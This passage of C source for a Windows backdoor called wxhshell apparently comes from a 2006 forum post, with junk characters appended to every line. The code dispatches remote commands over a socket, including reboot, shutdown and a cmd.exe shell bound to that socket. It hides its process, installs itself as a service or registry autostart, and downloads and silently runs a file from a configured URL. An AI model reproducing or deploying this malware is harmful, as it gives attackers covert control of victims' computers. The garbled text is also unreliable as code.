  // 帮助 5hxG\f#}?  
  case '?': { _xKuEU}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =7^rKrD  
    break;  +\Hh|Uz5  
  } a7$]" T 7  
  // 安装 ojmF:hR"  
  case 'i': { 'gBGZ?^N!U  
    if(Install()) j 3/ I =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hk5[ N=  
    else pJg'$iR!/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =1|^) 4M,x  
    break; V(gmC%6%l*  
    } qu8!fFQjYL  
  // 卸载 R_DstpsT  
  case 'r': { 1w` ]2  
    if(Uninstall()) /z=xEnU#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2wCSjAWWh(  
    else JD\yl[ac%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o*]Tqx  
    break; y nue;*rM  
    } %|"0p3  
  // 显示 wxhshell 所在路径 E O.Se9ux  
  case 'p': { !xE /  
    char svExeFile[MAX_PATH]; _cRCG1CJ  
    strcpy(svExeFile,"\n\r"); st_.~m!/  
      strcat(svExeFile,ExeFile); \*a7o GyH>  
        send(wsh,svExeFile,strlen(svExeFile),0); E =*82Y=B  
    break; xX !`0T7Y  
    } z_i (o  
  // 重启 kv!QO^;^Y  
  case 'b': { ul@swp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 96(3ilAt  
    if(Boot(REBOOT)) g36:OK"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cVV@MC  
    else { kA.U2  
    closesocket(wsh); "=0(a)01p:  
    ExitThread(0); ?IN'Dc9&%-  
    } 24g\x Nnt  
    break; $a@T:zfe  
    } v3*y43  
  // 关机 ZXJ]==  
  case 'd': { |>Ld'\i8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Mzg zOM  
    if(Boot(SHUTDOWN)) Za110oF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~M c'~:{O  
    else { ]NEr]sc-"F  
    closesocket(wsh); cD%_+@GaU  
    ExitThread(0); S|jE1v"L  
    } L2sUh+'|  
    break; o^efeI  
    } gTM*td(~^  
  // 获取shell [ pe{,lp  
  case 's': { 7^oO N+=d  
    CmdShell(wsh); |#b]e|aP  
    closesocket(wsh); +nIjW;RU  
    ExitThread(0); < NRnE8:  
    break; i-jrF6&  
  } ,<CFjtelO  
  // 退出 6*aU^#Hz6  
  case 'x': { =,Zkg(M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hl/) 1sOIR  
    CloseIt(wsh); FHK{cE  
    break; A3 uF 0A  
    } cb3Q{.-.#  
  // 离开 ZLGglT'EW>  
  case 'q': { R/WbcQ)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bs3M7z RG  
    closesocket(wsh); j&N {j_ M  
    WSACleanup(); im&Nkk4n@  
    exit(1); )ep1`n-  
    break; ymW? <\AD,  
        } u*S-Pji,x  
  } /'l"Us},^!  
  } T Ob(  
sd5)We  
  // 提示信息 +^cjdH*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j[RY  
} YlhyZ&a,  
  } zl3GWj|?\7  
RxYC]R^78  
  return; ;Tec)Fl  
} e~ZxDAd  
t?(fDWd|-  
// shell模块句柄 W; zzc1v  
int CmdShell(SOCKET sock) ?u4t;  
{ 'lMDlTU O  
STARTUPINFO si; P!yOA_)as  
ZeroMemory(&si,sizeof(si)); R*`=Bk0+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W9G1wU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E)iX`Xq|0{  
PROCESS_INFORMATION ProcessInfo; xG1(vn83gq  
char cmdline[]="cmd"; ri1;i= W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); edL sn>\*#  
  return 0; Vo;0i$  
} tu slkOE#  
20 Z/Y\  
// 自身启动模式 i*)BFV_-  
int StartFromService(void) VZ]}9k  
{ tc|PN+v;  
typedef struct C klIrD{  
{ d6f T  
  DWORD ExitStatus; Ul Mc8z  
  DWORD PebBaseAddress; b:Tv Ta  
  DWORD AffinityMask; moD)^':.  
  DWORD BasePriority; 6W/uoH=;  
  ULONG UniqueProcessId; ;w<r/dK   
  ULONG InheritedFromUniqueProcessId; H1d2WNr[  
}   PROCESS_BASIC_INFORMATION; *AG01# ZF  
J(Fk@{!F.*  
PROCNTQSIP NtQueryInformationProcess; FvXpqlp  
n #S?fsQN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :I2spBx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )E*-  
Kw =RqF  
  HANDLE             hProcess; FM"[:&>  
  PROCESS_BASIC_INFORMATION pbi; 1l s8h  
~hb;kc3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jSQM3+`b  
  if(NULL == hInst ) return 0; GQ0(lS  
=bOMtQ]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 13p.dp`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cz1 m05E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P#9Pq,I  
~^J9v+  
  if (!NtQueryInformationProcess) return 0; 4*9BAv  
%RIlu[J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rxq4Diq5k  
  if(!hProcess) return 0; gbu*6&j9  
q\/xx`L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AHzm9U @  
mYFc53B  
  CloseHandle(hProcess); s_P[lbHt.  
* >k6n5%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KP_7h/e  
if(hProcess==NULL) return 0; zHD 8 \*  
u`"Y!*[ -  
HMODULE hMod;  N8)]d  
char procName[255]; v)aV(Oa  
unsigned long cbNeeded; r-_-/O"l  
eB9F35[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T>irW(  
? CU;  
  CloseHandle(hProcess); R(s[JH(&  
fS3%  
if(strstr(procName,"services")) return 1; // 以服务启动 XCT3:db  
%3yrX>Js  
  return 0; // 注册表启动 ~xJ ^YkyH  
} `o0ISJeKp  
|\RN%w7E8  
// 主模块 XO5E-Nh  
int StartWxhshell(LPSTR lpCmdLine) \Rw^&;\1  
{ \j4!dOGZ  
  SOCKET wsl; d*$x|B|V  
BOOL val=TRUE; @QDUz>_y  
  int port=0; SC--jhDZ  
  struct sockaddr_in door; >#y1(\e  
W~5gTiBZ]  
  if(wscfg.ws_autoins) Install(); ab[V->>%  
s$~H{za  
port=atoi(lpCmdLine); `)NTJc$):  
CdKs+x&tZ  
if(port<=0) port=wscfg.ws_port; TA+#{q+a  
"?6R"Vk?:  
  WSADATA data; 3}B-n!|*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OI:T#uk5  
On}b|ev  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   93/`e}P"o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C't%e  
  door.sin_family = AF_INET; 6n/KL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;x&3tN/I  
  door.sin_port = htons(port); jX,A.  
c^R "g)gr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <9x|)2P  
closesocket(wsl); fVYv 2  
return 1; O O-Obg^  
} ppu<k N  
[OFT!=.y &  
  if(listen(wsl,2) == INVALID_SOCKET) { t&-c?&FO\;  
closesocket(wsl); fO83 7  
return 1; z=4E#y `?U  
} \}Kad\)  
  Wxhshell(wsl); W$` WkR  
  WSACleanup(); +!t *LSF  
I]B9+Z?xo  
return 0; _k5$.f:Yj<  
{"0n^!  
} !v*#E{r"g=  
[-\DC*6  
// 以NT服务方式启动 jRp @-S#V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]0pI6"  
{ DvTbt?i[  
DWORD   status = 0;  aqwW`\  
  DWORD   specificError = 0xfffffff; Lve$H(GHT  
BbI),iP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }dSFv   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y5TBWcGU%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (CE2]Nv9")  
  serviceStatus.dwWin32ExitCode     = 0; .yb8<qs  
  serviceStatus.dwServiceSpecificExitCode = 0; &A^2hPe}  
  serviceStatus.dwCheckPoint       = 0; 7>gW2 m  
  serviceStatus.dwWaitHint       = 0; Si|8xq$E;  
7A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AI .2os*  
  if (hServiceStatusHandle==0) return; >Lz2zlZI  
pe+m%;nzR  
status = GetLastError(); 72y!cK6  
  if (status!=NO_ERROR) gIcPKj"8${  
{ TSsx^h8/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; obw:@i#  
    serviceStatus.dwCheckPoint       = 0; U27ja|W^  
    serviceStatus.dwWaitHint       = 0; L~_zR>  
    serviceStatus.dwWin32ExitCode     = status; ~5Rh7   
    serviceStatus.dwServiceSpecificExitCode = specificError; qt%/0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o#IWH;ck.  
    return; T{T> S%17~  
  } XB%`5wwd  
n4 Y ]v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }Z`@Z'  
  serviceStatus.dwCheckPoint       = 0; C,u;l~zz  
  serviceStatus.dwWaitHint       = 0; v=H!Y";  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 87nsWBe  
} CzT_$v_  
Vb2")+*:  
// 处理NT服务事件,比如:启动、停止 1xwq:vFC.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *OZ O} i  
{ \g|;7&%l3  
switch(fdwControl) C%'eF`  
{ qj?I*peK)  
case SERVICE_CONTROL_STOP: wJF$<f7P  
  serviceStatus.dwWin32ExitCode = 0; UOI Z8Po  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <7X+-%yb;  
  serviceStatus.dwCheckPoint   = 0; Rh7=,=u  
  serviceStatus.dwWaitHint     = 0; t aOsC! Bp  
  { ,I[A~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &l~=c2  
  } =`%%*  
  return; {XYf"ONi  
case SERVICE_CONTROL_PAUSE: $Vm J[EF1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3K_!:[  
  break; J~G"D-l<9/  
case SERVICE_CONTROL_CONTINUE: +z\O"zlj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .]Z,O>N  
  break; $E@ke:  
case SERVICE_CONTROL_INTERROGATE: o6 [i0S  
  break; # /pZ#ny  
}; II_MY#0X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Ia)^  
} *$>$O%   
s[@@INU  
// 标准应用程序主函数 *-9b!>5eD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n1c Q#u  
{ M, UYDZ',  
O4 Y;  
// 获取操作系统版本 =j~}];I  
OsIsNt=GetOsVer(); iAW oKW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); on1mu't_;  
K#p&XIY,  
  // 从命令行安装 FdJC@Y-#uA  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?|Mmz@  
Py,@or7n  
  // 下载执行文件 ?jzadCel  
if(wscfg.ws_downexe) { cl-i6[F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }(XvI^K[^  
  WinExec(wscfg.ws_filenam,SW_HIDE); c[0$8F>  
} z'X_ s.9F  
:ui1]its4  
if(!OsIsNt) { N:/$N@"Ge  
// 如果时win9x,隐藏进程并且设置为注册表启动 **O4"+Xi8  
HideProc(); H\!u5o&}`  
StartWxhshell(lpCmdLine); cjO,#W0&f  
} [G|2m_  
else IN]bAd8"  
  if(StartFromService()) 4B}w;d@R  
  // 以服务方式启动 ,@ Cru=  
  StartServiceCtrlDispatcher(DispatchTable); $RSVN?  
else z*>CP  
  // 普通方式启动 I@q>ES!1H  
  StartWxhshell(lpCmdLine); HI eMV,.QN  
Y<.F/iaH  
return 0; @w:sNXz-  
}
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只看该作者 1 发表于: 2006-10-10
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